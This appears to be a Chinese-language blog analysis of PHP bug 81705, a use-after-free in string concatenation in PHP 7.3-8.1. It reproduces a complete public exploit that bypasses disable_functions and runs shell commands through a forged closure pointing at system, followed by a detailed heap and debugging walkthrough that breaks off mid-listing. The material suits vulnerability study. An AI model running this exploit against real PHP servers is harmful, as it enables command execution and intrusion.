暂无简介
1. 简介
PHP 7.3-8.1 中字符串连接符中有一个错误,当参数为数组时会触发错误处理,如果在错误处理回调中删除了相关资源,会造成UAF
POC
<?php
$my_var = str_repeat("a", 1);
set_error_handler(
function() use(&$my_var) {
echo("error\n");
$my_var = 0x123;
}
);
$my_var .= [0];
?>
exp
<?php
# PHP 7.3-8.1 disable_functions bypass PoC (*nix only)
#
# Bug: https://bugs.php.net/bug.php?id=81705
#
# This exploit should work on all PHP 7.3-8.1 versions
# released as of 2022-01-07
#
# Author: https://github.com/mm0r1
new Pwn("uname -a");
class Helper { public $a, $b, $c; }
class Pwn {
const LOGGING = false;
const CHUNK_DATA_SIZE = 0x60;
const CHUNK_SIZE = ZEND_DEBUG_BUILD ? self::CHUNK_DATA_SIZE + 0x20 : self::CHUNK_DATA_SIZE;
const STRING_SIZE = self::CHUNK_DATA_SIZE - 0x18 - 1;
// 0x18是zend_string的头大小
const HT_SIZE = 0x118;
const HT_STRING_SIZE = self::HT_SIZE - 0x18 - 1;
public function __construct($cmd) {
for($i = 0; $i < 10; $i++) {
// 分配了两个数组结构,其值指向字符串结构
// 这里的操作会使得内存池分配32个Bucket出来,不带索引数组,共计32*32+8=1032字节,要分配24号规格内存
// 为什么要这个操作,不要好像也可以
$groom[] = self::alloc(self::STRING_SIZE);
$groom[] = self::alloc(self::HT_STRING_SIZE);
}
$concat_str_addr = self::str2ptr($this->heap_leak(), 16);
// concat_str_addr是'Array'+'A'*66这段字符串zend_string(占95字节内存)的地址0x7ffff3a84580,这是concat产生的结果。
// 其字符串内容offset=16处开始是$arr原本的数组的占据的Bucket的位置,concat操作产生的result='Array'+'A'*66的zval覆盖了这个位置
$fill = self::alloc(self::STRING_SIZE);
// 为啥要这个操作,没有还不行
// STRING_SIZE能分配到95字节的内存空间
// $fill的zend_string地址是0x7ffff3a84500
// 二者大小相同,地址紧挨,相距0x80
// 因为调试时,有ZEND_DEBUG_BUILD声明,95字节的zend_string实际分配到了11号规格的内存,即相差0x80
// 为什么$fill在'Array'+'A'*66的前面呢
printf("0x%x\n",$concat_str_addr);
$this->abc = self::alloc(self::STRING_SIZE);
var_dump($fill);
$abc_addr = $concat_str_addr + self::CHUNK_SIZE;
self::log("abc @ 0x%x", $abc_addr);
$this->free($abc_addr);
$this->helper = new Helper;
if(strlen($this->abc) < 0x1337) {
self::log("uaf failed");
return;
}
$this->helper->a = "leet";
$this->helper->b = function($x) {};
$this->helper->c = 0xfeedface;
$helper_handlers = $this->rel_read(0);
self::log("helper handlers @ 0x%x", $helper_handlers);
$closure_addr = $this->rel_read(0x20);
self::log("real closure @ 0x%x", $closure_addr);
$closure_ce = $this->read($closure_addr + 0x10);
self::log("closure class_entry @ 0x%x", $closure_ce);
$basic_funcs = $this->get_basic_funcs($closure_ce);
self::log("basic_functions @ 0x%x", $basic_funcs);
$zif_system = $this->get_system($basic_funcs);
self::log("zif_system @ 0x%x", $zif_system);
$fake_closure_off = 0x70;
for($i = 0; $i < 0x138; $i += 8) {
$this->rel_write($fake_closure_off + $i, $this->read($closure_addr + $i));
}
$this->rel_write($fake_closure_off + 0x38, 1, 4);
$handler_offset = PHP_MAJOR_VERSION === 8 ? 0x70 : 0x68;
$this->rel_write($fake_closure_off + $handler_offset, $zif_system);
$fake_closure_addr = $abc_addr + $fake_closure_off + 0x18;
self::log("fake closure @ 0x%x", $fake_closure_addr);
$this->rel_write(0x20, $fake_closure_addr);
($this->helper->b)($cmd);
$this->rel_write(0x20, $closure_addr);
unset($this->helper->b);
}
private function heap_leak() {//开始UAF
$arr = [[], []];//首先是数组
$buf=null;//然后是一个临时变量
set_error_handler(function() use (&$arr, &$buf) {
$arr = 2;//$arr原本指向的_zend_array 0x7ffff3a59a80结构被释放
// 这一步操作会调用zend_array_destroy回收内存
// ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER调用的zend_assign_to_variable中,将$arr中存储的zend_array地址视为垃圾(garbage),调用rc_dtor_func回收
// $arr对应的zval.value的值变为1.
// zend_mm_free_small回收了$arr的内存,重新挂载到了slot——16,320字节大小的链表头上。
// $arr结构的arData结构在0x7ffff3a5d288,释放的时候只是释放该Bucket结构,_zend_array存储在0x7ffff3a59a80,时9号规格的small内存,96字节
// 使用宏HT_GET_DATA_ADDR(ht)获取到了要释放的Bucket结构,计算得0x7ffff3a5d280,$arr数组中的两个Bucket分别存放在0x7ffff3a5d288和0x7ffff3a5d2a8(一个Bucket32字节)
// 为啥从0x7ffff3a5d280跟前开始释放呢,$arr时pack array,不需要索引数组,所以其只有两个单位的值为-1的索引数组,索引数组一个solt占4个字节,两个就是8字节
// 索引数组就在Bucket的签名,通过相关size的计算可以得出索引数组的大小,这里算得索引数组的大小为2,所以最后释放的地址就是0x7ffff3a5d280,其offset=8的位置就是arData,即第一个Bucket
// 这个未初始化的数组是在编译阶段就分配的,分配Bucket时,最少一次分配8个,每个32B,共256B再加上8个字节的索引数组,共计264B,能容纳这么多最小规格时16号320B大小的small内存
// zend_string头有24字节,分配255长度的字符串内存,共计需要279B,也会分配到16号规格内存,如此,UAF的条件达到
// 调用栈
/*
zend_mm_free_small(zend_mm_heap * heap, void * ptr, int bin_num) (\home\xxxxx\php-src\Zend\zend_alloc.c:1280)
zend_mm_free_heap(zend_mm_heap * heap, void * ptr, const char * __zend_filename, const uint32_t __zend_lineno, const char * __zend_orig_filename, const uint32_t __zend_orig_lineno) (\home\xxxxx\php-src\Zend\zend_alloc.c:1370)
_efree(void * ptr, const char * __zend_filename, const uint32_t __zend_lineno, const char * __zend_orig_filename, const uint32_t __zend_orig_lineno) (\home\xxxxx\php-src\Zend\zend_alloc.c:2549)
zend_array_destroy(HashTable * ht) (\home\xxxxx\php-src\Zend\zend_hash.c:1635)
rc_dtor_func(zend_refcounted * p) (\home\xxxxx\php-src\Zend\zend_variables.c:57)
zend_assign_to_variable(zval * variable_ptr, zval * value, zend_uchar value_type, zend_bool strict) (\home\xxxxx\php-src\Zend\zend_execute.h:131)
ZEND_ASSIGN_SPEC_CV_CONST_RETVAL_UNUSED_HANDLER() (\home\xxxxx\php-src\Zend\zend_vm_execute.h:40771)
execute_ex(zend_execute_data * ex) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57205)
zend_call_function(zend_fcall_info * fci, zend_fcall_info_cache * fci_cache) (\home\xxxxx\php-src\Zend\zend_execute_API.c:812)
_call_user_function_ex(zval * object, zval * function_name, zval * retval_ptr, uint32_t param_count, zval * params, int no_separation) (\home\xxxxx\php-src\Zend\zend_execute_API.c:644)
zend_error_va_list(int type, const char * error_filename, uint32_t error_lineno, const char * format, struct __va_list_tag * args) (\home\xxxxx\php-src\Zend\zend.c:1366)
zend_error(int type, const char * format) (\home\xxxxx\php-src\Zend\zend.c:1480)
__zval_get_string_func(zval * op, zend_bool try) (\home\xxxxx\php-src\Zend\zend_operators.c:889)
zval_get_string_func(zval * op) (\home\xxxxx\php-src\Zend\zend_operators.c:925)
concat_function(zval * result, zval * op1, zval * op2) (\home\xxxxx\php-src\Zend\zend_operators.c:1829)
zend_binary_op(zval * ret, zval * op1, zval * op2) (\home\xxxxx\php-src\Zend\zend_execute.c:1312)
ZEND_ASSIGN_DIM_OP_SPEC_CV_CONST_HANDLER() (\home\xxxxx\php-src\Zend\zend_vm_execute.h:39117)
execute_ex(zend_execute_data * ex) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57109)
zend_execute(zend_op_array * op_array, zval * return_value) (\home\xxxxx\php-src\Zend\zend_vm_execute.h:57913)
zend_execute_scripts(int type, zval * retval, int file_count) (\home\xxxxx\php-src\Zend\zend.c:1665)
*/
$buf = str_repeat("\x00", self::HT_STRING_SIZE);//0x118-0x18-0x01长度的0x00 0x00ff即255长度的字符串,这个字符串覆盖了_zend_array结构体
// 经过对原来的arr结构地址设置数据更改断点发现,arr原本的位置被str_repeat函数操作时覆盖
// 在一次调试中,_zend_array存储在0x7ffff3a59a80,这是一个哈希表,arData存储在0x7ffff3a5d288,Bucket长度2
// 新分配的字符串长度255,占空间287,emalloc得到地址0x7ffff3a5d280
// 该地址在16号规格small内存中,320B
// // 此时得到的$buf的字符串内容就存储在和$arr的Bucket一样的位置,concat的错误使得该匿名函数被调用,即ZEND_ERROR被执行,ZEND_ERROR执行后实际继续返回到concat的后续过程开始执行
});
$arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
// op2是长度为一个96(0x60)标准存储单元大小的zend_string结构体,op1是zval_struct结构体
//op1是数组,op2是字符串,concat时,引发错误,掉头error handler的回调函数,$arr变量的内存指向zval_struct,
//offset+0偏移处的成员是一个_zend_array结构体的地址,现在其值就是1,数字1,一个64位地址,里面只有1。
//在这一部操作中,op1是引用类型的值,handler发现其是引用,就提取出它引用的内容,发现是一个数组,然后调用宏SEPARATE_ARRAY来分离数组
// 引用计数只有1时,分离操作不起作用,否则,垃圾回收机制会删除一次引用
// 在赋值操作实际执行时,$arr所代表的数组被提取出来作为实际操作数
// 对于的handler是ASSIGN_DIM_OP,操作数 op1是$arr,op2是1,根据指令的特点,该handler会调用下一条指令的数据,OP_DATA的操作数,及alloc产生的字符串
// 于是 op1是$arr[1],是数组,op2是字符串'\x00'*255
// 因为op1的是array,所以触发ZEND_ERROR
// zend_fetch_dimension_address_inner_RW_CONST,handler调用该函数在哈希表中对数组取值
// $arr[1]的地址在0x7ffff3a5d2a8
/* */
// ZEND_ERROR执行后,__zval_get_string_func返回一个zend_known_strings的地址,其内容时Array,并赋给了op1_copy,暂存op1,(此时真正的op1已经被字符串覆盖了)
// 因为时.=这种自操作,所以指令中的result和op1的地址相同,对result的操作就是对op1的操作
// op1_copy得到值后,op1_copy的地址被赋回op1,即op1表示zend_known_strings,即"Array"的地址
// 此时,result指向"\x00"*255的zval,op2指向66字节长度的alloc函数产生的字符串,最终concat_function返回了'Array'+'A'*66这段字符串,$buf的zval.value也指向了新分配的存储这块内存
// $buf的zval.value本来是全0,$buf本身的结构在0x7ffff3a5d280,但是op1的引用在0x7ffff3a5d2a8,有40个字节的偏移
// 执行这句ZVAL_NEW_STR(result, result_str)时,0x7ffff3a5d2a8的zval.value被赋值,指向'Array'+'A'*66这段字符串zend_string
// 此时我读取$buf的字符串偏移$buf[16]处起始的8个字节就是'Array'+'A'*66这段字符串zend_string的地址
// offset=16因为$buf在0x7ffff3a5d280,result在0x7ffff3a5d2a8,相差40字节,除去0x7ffff3a5d280开始的24字节字符串zend_string的头外,再偏移16字节就是reslut,即'Array'+'A'*66这段字符串zval。
file_put_contents("/mnt/c/Users/L1sper/Desktop/1.bin",$buf);
return $buf;
}
private function free($addr) {
$payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
$payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));
$arr = [[], []];
set_error_handler(function() use (&$arr, &$buf, &$payload) {
$arr = 1;
$buf = str_repeat($payload, 1);
});
$arr[1] .= "x";
}
private function rel_read($offset) {
return self::str2ptr($this->abc, $offset);
}
private function rel_write($offset, $value, $n = 8) {
for ($i = 0; $i < $n; $i++) {
$this->abc[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
}
private function read($addr, $n = 8) {
$this->rel_write(0x10, $addr - 0x10);
$value = strlen($this->helper->a);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
private function get_system($basic_funcs) {
$addr = $basic_funcs;
do {
$f_entry = $this->read($addr);
$f_name = $this->read($f_entry, 6);
if($f_name === 0x6d6574737973) {
return $this->read($addr + 8);
}
$addr += 0x20;
} while($f_entry !== 0);
}
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20180731, 20190902, 20200930, 20210902])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
self::log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
private function log($format, $val = "") {
if(self::LOGGING) {
printf("{$format}\n", $val);
}
}
static function alloc($size) {
return str_shuffle(str_repeat("A", $size));
}
static function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
}
?>
2. UAF分析
<?php
$arr = [[], []];//首先是数组
arr[1] .= self::alloc(self::STRING_SIZE - strlen("Array"));
?>
set_error_handler
会设置错误处理句柄,当PHP执行报错时,调用该函数
.=
是PHP赋值操作附加字符串连接,这里对应操作是ZEND_ASSIGN_DIM_OP
,意思就是数组降维,说白了就是取数组元素。
赋值的参数是zval(IS_STRING:66*'\0')
,被赋值的是一个zend_empty_array,然后进入 zend_binary_op
进行赋值操作
参数列表是(ret=arr[1],op1=arr[1],op2=zval@66*'\0')
,此处因为是.=
,即自赋值,返回值和op1是一样的
zend_binary_op
函数中定义了各种不同类型的操作句柄,由Opcode的扩展值决定使用那种操作
static zend_always_inline int zend_binary_op(zval *ret, zval *op1, zval *op2 OPLINE_DC)
{
static const binary_op_type zend_binary_ops[] = {
add_function,
sub_function,
mul_function,
div_function,
mod_function,
shift_left_function,
shift_right_function,
concat_function,
bitwise_or_function,
bitwise_and_function,
bitwise_xor_function,
pow_function
};
/* size_t cast makes GCC to better optimize 64-bit PIC code */
size_t opcode = (size_t)opline->extended_value;
return zend_binary_ops[opcode - ZEND_ADD](ret, op1, op2);
}
//op fetch ext return operands
//ASSIGN_DIM_OP.= 8 !0, 1
//此处的扩展值是8,即调用concat_function进行操作
\$arr存了一串Bucket,每个Bucket里面带了一个zval,对于\$arr来说,每个元素是一个zend_array
跟进concat_function
:
首先验证op1是不是字符串,如果不是,字符串,就尝试使用zval_get_string_func(op1)
从中得到字符串
跟进zval_get_string_func
:
判断类型,发现是IS_ARRAY,调用zend_error,触发回调错误处理句柄
<?php
$buf=null;
set_error_handler(function() use (&$arr, &$buf){
$arr = 2;
$buf = str_repeat("\x00", self::HT_STRING_SIZE);
});
在错误处理句柄中,\$arr被重新赋值,导致其本来对应的那块空间被销毁,即其堆地址被挂载到了free链表上了。被销毁的包括\$arr对应的zend_array结构,以及哈希表数据存储的部分,即Bucket所在的部分。
以某次调试为例,zval_get_string_func
的参数zval即\$arr[1]的地址是0x7ffff3a5d2a8,它是第二个Bucket,一个Bucket的大小是32B,然后packed类型的未初始化数组的数组索引表大小是2,每个索引值都是-1,size是32b即4字节,arData的地址就是0x7ffff3a5d288,整个数据部分的地址就是0x7ffff3a5d280,当前arr这个数组共有8个Bucket,2个索引,共计264字节,加上调试信息32字节,这块结构共计296字节,占据32号RUN规格的内存。根据地址计算得到验证。
buf现在需要分配HT_STRING_SIZE = HT_SIZE - 0x18 - 1 = 0x118 -0x18 -1的内容。0x118是280B,即分配255长的字符串,需要分配空间是(_ZSTR_HEADER_SIZE + len + 1) = 280B
,因为分配字符串时还会带上zend_mm_debug_info的32字节,所以需要额外32字节,即共需312B空间,最后分配得到320B的空间,刚好是上次被释放的0x7ffff3a5d280。这块区域其实前面有存储过255长度的'\0'
,来自于
for($i = 0; $i < 10; $i++) {
// 分配了两个数组结构,其值指向字符串结构
// 这里的操作会使得内存池分配32个Bucket出来,不带索引数组,共计32*32+8=1032字节,要分配24号规格内存
// 为什么要这个操作,不要好像也可以
$groom[] = self::alloc(self::STRING_SIZE);
$groom[] = self::alloc(self::HT_STRING_SIZE长度的字符串,消耗10个16号RUN空间);//HT_STRING_SIZE长度的字符串,消耗10个16号RUN空间
}
继续,错误处理完后,op1的位置已经不复存在了,op1指向了一个新的字符串”Array“,上面提到的255*‘\0’
放在buf中。
回到concat_function
,处理完op1后,再处理op2,op2本身就是字符串66*A
,拼接后得到‘Array+66*A
,此时返回值是存储再0x7ffff3a5d2a8处的,所以新的字符串对应得zval地址被放在了0x7ffff3a5d2a8处
此时,\$buf中的zend_string首地址就是0x7ffff3a5d280,字符串内容的地址就是0x7ffff3a5d298,在字符串内容偏移+16处,即zend_string+40处。这样我们就能够得到‘Array+66*A
的zval结构(地址0x7ffff3a84580,type=6=IS_STRING)。同时,能够控制通过buf对该位置值的控制,读取任意地址的内容。
3. 利用分析
然后是
$this->abc = self::alloc(self::STRING_SIZE);
STRING_SIZE
在调试环境下始终是47,分配到0x80=128B的内存空间。
前面提到的Array+66*A
长度也是STRING_SIZE
,二者占据的大小相同,空间相邻。
$fill = self::alloc(self::STRING_SIZE);
是为了消耗掉Array+66*A
前面的0x80的空间,避免$this->abc
分配到其前面,导致后面计算abc的地址的计算方法错误(==有一个问题,为何Array+66*A前面还会有空间空着==)
$abc_addr = $concat_str_addr + self::CHUNK_SIZE;
有一个问题,为何Array+66*A前面还会有空间空着:
根据调试,这是op2参数的位置。。。,用完之后会被释放,即0x7ffff3a84500在链表首。
回到前面,abc的位置已经被确定。即0x7ffff3a84580+ 0x80 = 0x7ffff3a84600。
此时进行了另一个操作
$this->free($abc_addr);
private function free($addr) {
$payload = pack("Q*", 0xdeadbeef, 0xcafebabe, $addr);
$payload .= str_repeat("A", self::HT_STRING_SIZE - strlen($payload));//320B的空间
$arr = [[], []];//320B的空间
set_error_handler(function() use (&$arr, &$buf, &$payload) {
$arr = 1;
$buf = str_repeat($payload, 1);//数组的320B被填充
});
$arr[1] .= "x";
}
free函数的功能很明显和heap_leap很相似,只不过填充arData空间的不再是全0。根据前面的分析,这里又分配了一个320字节的块,并用pack("Q*", 0xdeadbeef, 0xcafebabe, 0x7ffff3a84580).AAA...AAA
填充,
重点:然后,在销毁该哈希表的时候,会销毁其中的所有Bucket里的内容。此处的哈希表地址是0x00007ffff3a5e680,arData就在0x00007ffff3a5e688, $arr[1]
就在0x00007ffff3a5e6a8
,显然这里存储了一个zval
zval_struct{
.value = 0x00007ffff3a5e6a8;
.u1.v.type = 6
}
这里就会被识别为一个字符串,然后其引用值为1,释放的时候就会被直接释放掉。所以$this->abc
这里的0x80 = 128字节就会空出来
free函数执行完后,buf是指向长度0xdeadbeef的字符串,zend_string地址在0x7ffff3a5e680,$arr[1] .= "x"
的结构存储在0x00007ffff3a92f80;
继续,
$this->helper = new Helper;
if(strlen($this->abc) < 0x1337) {
self::log("uaf failed");
return;
}
$this->helper->a = "leet";
$this->helper->b = function($x) {};
$this->helper->c = 0xfeedface;
这里新建了一个类,对应ZEND_NEW
操作,其会从EG(class_table)
全局类表中找到对应的zend_class_entry
结构的地址,此处为0x7ffff3a04018,该结构大小为456B,然后调用object_init_ex初始化一个对象出来(0x7ffff3a84600)。分配对象的时候用到了zend_objects_new,计算出的需要分配的大小是
56 + 16*2 +32= 120
其中((ce->ce_flags & ZEND_ACC_USE_GUARDS) = 1
),刚好分配到free(abc)
所得到的空间。
其中的成员变量b
被赋予了一个闭包函数,即从EG(function_table)
里面找到了zend_function
结构,该结构大小224,该闭包函数的名字是%00%7Bclosure%7D%2Fhome%2Fxxxxx%2Fphp-src%2Ftest.php%3A58%240
(注意url解码)。zend_function
结构和zend_op_array
具有相同大小,切二者拥有相同的common部分
union _zend_function {
zend_uchar type;/* MUST be the first element of this struct! */
uint32_t quick_arg_flags;
struct {
zend_uchar type; /* never used */
zend_uchar arg_flags[3]; /* bitset of arg_info.pass_by_reference */
uint32_t fn_flags;
zend_string *function_name;
zend_class_entry *scope;
zend_function *prototype;
uint32_t num_args;
uint32_t required_num_args;
zend_arg_info *arg_info;
} common;
zend_op_array op_array;
zend_internal_function internal_function;
};
然后是计算helper对象的地址
$helper_handlers = $this->rel_read(0);
private function rel_read($offset) {
return self::str2ptr($this->abc, $offset);
}
static function str2ptr($str, $p = 0, $n = 8) {
$address = 0;
for($j = $n - 1; $j >= 0; $j--) {
$address <<= 8;
$address |= ord($str[$p + $j]);
}
return $address;
}
前面提到,$this->abc
会引用到一块已经空闲的0x80=128大小的空间,分配的helper对象刚好能够占用上次free掉abc时释放出来的128B的空间,于是$this->abc
现在可以根据偏移量取到helper对象对应的zend_objects结构里面的数据。
struct _zend_object {
zend_refcounted_h gc;//8B
uint32_t handle; // TODO: may be removed ???
zend_class_entry *ce;
const zend_object_handlers *handlers;
HashTable*properties;
zval properties_table[1];
};
struct _zend_string {
zend_refcounted_h gc;
zend_ulongh;/* hash value */
size_tlen;
char val[1];
};
//根据这两个结构的对比以及字节对齐的原理,val处的值就是对象对应的zend_object_handlers,字符串长度就是ce的地址
ZEND_API zend_object* ZEND_FASTCALL zend_objects_new(zend_class_entry *ce)
{
zend_object *object = emalloc(sizeof(zend_object) + zend_object_properties_size(ce));
_zend_object_std_init(object, ce);
object->handlers = &std_object_handlers;
return object;
}
static zend_always_inline size_t zend_object_properties_size(zend_class_entry *ce)
{
return sizeof(zval) *
(ce->default_properties_count -
((ce->ce_flags & ZEND_ACC_USE_GUARDS) ? 0 : 1));
}
据此,可以读取到helper的zend_object中的handlers地址
$helper_handlers = $this->rel_read(0);
然后是closure,这里其实读到的就是$helper->b
对应的zend_object
结构的地址(zval中的地址值存储在最前面)
$closure_addr = $this->rel_read(0x20);
self::log("real closure @ 0x%x", $closure_addr);
再然后是读取closure_ce,
$closure_ce = $this->read($closure_addr + 0x10);
self::log("closure class_entry @ 0x%x", $closure_ce);
private function rel_write($offset, $value, $n = 8) {
for ($i = 0; $i < $n; $i++) {
$this->abc[$offset + $i] = chr($value & 0xff);
$value >>= 8;
}
}
private function read($addr, $n = 8) {
$this->rel_write(0x10, $addr - 0x10);
$value = strlen($this->helper->a);
if($n !== 8) { $value &= (1 << ($n << 3)) - 1; }
return $value;
}
读取方法如下:0x10偏移处是 $helper->a
的zval,更改其value字段为要读取的addr-0x10,就能使用字符串长度获取到对应的值(len字段在zend_string的0x10偏移处,读取len就需要给定zend_string的地址,即将zval的value字段覆盖为addr-0x10)
此时达到了任意地址读的目的,然后就是读取helper->b的匿名函数_zend_object
的偏移0x10处的值,即zend_object.ce;
,是类的描述结构zend_class_entry
的地址。该结构内部包含方法所属类名,父类名,各种魔术方法等。
struct _zend_class_entry {
char type;
zend_string *name;
/* class_entry or string depending on ZEND_ACC_LINKED */
union {
zend_class_entry *parent;
zend_string *parent_name;
};
int refcount;
uint32_t ce_flags;
int default_properties_count;
int default_static_members_count;
zval *default_properties_table;
zval *default_static_members_table;
ZEND_MAP_PTR_DEF(zval *, static_members_table);
HashTable function_table;
HashTable properties_info;
HashTable constants_table;
struct _zend_property_info **properties_info_table;
zend_function *constructor;
zend_function *destructor;
zend_function *clone;
zend_function *__get;
zend_function *__set;
zend_function *__unset;
zend_function *__isset;
zend_function *__call;
zend_function *__callstatic;
zend_function *__tostring;
zend_function *__debugInfo;
zend_function *serialize_func;
zend_function *unserialize_func;
/* allocated only if class implements Iterator or IteratorAggregate interface */
zend_class_iterator_funcs *iterator_funcs_ptr;
/* handlers */
union {
zend_object* (*create_object)(zend_class_entry *class_type);
int (*interface_gets_implemented)(zend_class_entry *iface, zend_class_entry *class_type); /* a class implements this interface */
};
zend_object_iterator *(*get_iterator)(zend_class_entry *ce, zval *object, int by_ref);
zend_function *(*get_static_method)(zend_class_entry *ce, zend_string* method);
/* serializer callbacks */
int (*serialize)(zval *object, unsigned char **buffer, size_t *buf_len, zend_serialize_data *data);
int (*unserialize)(zval *object, zend_class_entry *ce, const unsigned char *buf, size_t buf_len, zend_unserialize_data *data);
uint32_t num_interfaces;
uint32_t num_traits;
/* class_entry or string(s) depending on ZEND_ACC_LINKED */
union {
zend_class_entry **interfaces;
zend_class_name *interface_names;
};
zend_class_name *trait_names;
zend_trait_alias **trait_aliases;
zend_trait_precedence **trait_precedences;
union {
struct {
zend_string *filename;
uint32_t line_start;
uint32_t line_end;
zend_string *doc_comment;
} user;
struct {
const struct _zend_function_entry *builtin_functions;
struct _zend_module_entry *module;
} internal;
} info;
};
再者是获取函数基地址,
$basic_funcs = $this->get_basic_funcs($closure_ce);
self::log("basic_functions @ 0x%x", $basic_funcs);
private function get_basic_funcs($addr) {
while(true) {
// In rare instances the standard module might lie after the addr we're starting
// the search from. This will result in a SIGSGV when the search reaches an unmapped page.
// In that case, changing the direction of the search should fix the crash.
// $addr += 0x10;
$addr -= 0x10;
if($this->read($addr, 4) === 0xA8 &&
in_array($this->read($addr + 4, 4),
[20180731, 20190902, 20200930, 20210902])) {
$module_name_addr = $this->read($addr + 0x20);
$module_name = $this->read($module_name_addr);
if($module_name === 0x647261646e617473) {
self::log("standard module @ 0x%x", $addr);
return $this->read($addr + 0x28);
}
}
}
}
读取方法是根据ce的地址,在其前面查找,根据MODULE_API_NO进行验证查找模块结构zend_module_entry
struct _zend_module_entry {
unsigned short size;
unsigned int zend_api;
unsigned char zend_debug;
unsigned char zts;
const struct _zend_ini_entry *ini_entry;
const struct _zend_module_dep *deps;
const char *name;
const struct _zend_function_entry *functions;
int (*module_startup_func)(INIT_FUNC_ARGS);
int (*module_shutdown_func)(SHUTDOWN_FUNC_ARGS);
int (*request_startup_func)(INIT_FUNC_ARGS);
int (*request_shutdown_func)(SHUTDOWN_FUNC_ARGS);
void (*info_func)(ZEND_MODULE_INFO_FUNC_ARGS);
const char *version;
size_t globals_size;
#ifdef ZTS
ts_rsrc_id* globals_id_ptr;
#else
void* globals_ptr;
#endif
void (*globals_ctor)(void *global);
void (*globals_dtor)(void *global);
int (*post_deactivate_func)(void);
int module_started;
unsigned char type;
void *handle;
int module_number;
const char *build_id;
};
offset=0处事size,offset=4处是zend_api,一般是20180731、20190902、20200930、20210902中之一,offset=0x20处是模块名name的地址。
为什么可以在ce的附近找到module呢,因为注册闭包函数对应的zend_class_entry是在zend_register_closure_ce函数中。根据watch调试得到,该结构在do_register_internal_class
中被malloc分配并初始化,在加载启动Core模块时被分配在堆空间中。
调用栈如下:
而standard
模块的zend_module_entry
结构在php_register_internal_extensions_func
注册内部模块时被加载进已注册模块哈希表。使用内存断点得到调用栈:
这里向哈希表中添加内容时,该哈希表的GC位被设置了IS_ARRAY_PERSISTENT,即被分配于系统malloc区内。
所以,ce和module都在堆中,可以慢慢向前查到。校验值是代码中定义的_zend_module_entry标准头。
#define ZEND_MODULE_API_NO 20190902
#define STANDARD_MODULE_HEADER_EX sizeof(zend_module_entry), ZEND_MODULE_API_NO, ZEND_DEBUG, USING_ZTS
zend_module_entry basic_functions_module = { /* \{\